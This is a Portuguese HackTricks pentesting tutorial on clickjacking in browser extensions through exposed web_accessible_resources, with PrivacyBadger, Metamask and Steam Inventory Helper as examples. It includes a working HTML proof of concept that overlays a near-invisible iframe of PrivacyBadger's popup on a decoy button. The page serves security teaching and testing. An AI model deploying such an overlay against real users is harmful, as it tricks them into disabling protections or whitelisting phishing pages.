hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

115 lines
6.2 KiB
Markdown
Raw Normal View History

# BrowExt - ClickJacking
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
## Informações Básicas
Esta página vai explorar uma vulnerabilidade de ClickJacking em uma extensão de navegador.\
Se você não sabe o que é ClickJacking, confira:
{% content-ref url="../clickjacking.md" %}
[clickjacking.md](../clickjacking.md)
{% endcontent-ref %}
Extensões contêm o arquivo **`manifest.json`** e esse arquivo JSON tem um campo `web_accessible_resources`. Veja o que [a documentação do Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources) diz sobre isso:
> Esses recursos estariam então disponíveis em uma página da web através da URL **`chrome-extension://[ID DO PACOTE]/[CAMINHO]`**, que pode ser gerada com o método **`extension.getURL`**. Recursos na lista de permissões são servidos com cabeçalhos CORS apropriados, então eles estão disponíveis através de mecanismos como XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
Além de serem acessíveis pela web, os recursos no **`web_accessible_resources`** funcionam com a autoridade ambiente da extensão: eles podem alterar o estado, carregar outros recursos e modificar o navegador de certas maneiras. Se um documento em `web_accessible_resources` pode realizar qualquer comportamento interessante, um atacante pode incorporá-lo em uma página da web e enganar visitantes para ativá-lo.
## Exemplo do PrivacyBadger
Foi descoberto que na extensão PrivacyBadger, os conteúdos do diretório `skin/` eram `web_accessible_resources`:
```json
"web_accessible_resources": [
"skin/*",
"icons/*"
]
```
Ao carregar `skin/popup.html`, o documento que é renderizado quando você clica no ícone do PrivacyBadger no navegador, **em um iframe poderíamos enganar o usuário a clicar em "Desativar PrivacyBadger para este site"**, expondo o usuário a rastreamento adicional e comprometendo a função do PrivacyBadger. **Confira o exemplo de vídeo de ClickJacking em** [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)
A correção foi simples: **remover `/skin/*` dos `web_accessible_resources`**.
### PoC
```html
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Exemplo Metamask
Um [**post de blog sobre um ClickJacking no Metamask pode ser encontrado aqui**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Neste caso, o Metamask corrigiu a vulnerabilidade verificando se o protocolo usado para acessá-lo era **`https:`** ou **`http:`** (e não **`chrome:`**, por exemplo):
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
**Outro ClickJacking corrigido** na extensão do Metamask foi que os usuários podiam **Clicar para adicionar à lista branca** quando uma página era suspeita de ser phishing por causa de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como essa página era vulnerável a Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar em adicionar à lista branca sem perceber, e depois voltar para a página de phishing que estaria na lista branca.
## Exemplo Steam Inventory Helper
Verifique a seguinte página para entender como um **XSS** em uma extensão de navegador foi combinado com uma vulnerabilidade de **ClickJacking**:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
{% endcontent-ref %}
## Referências
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>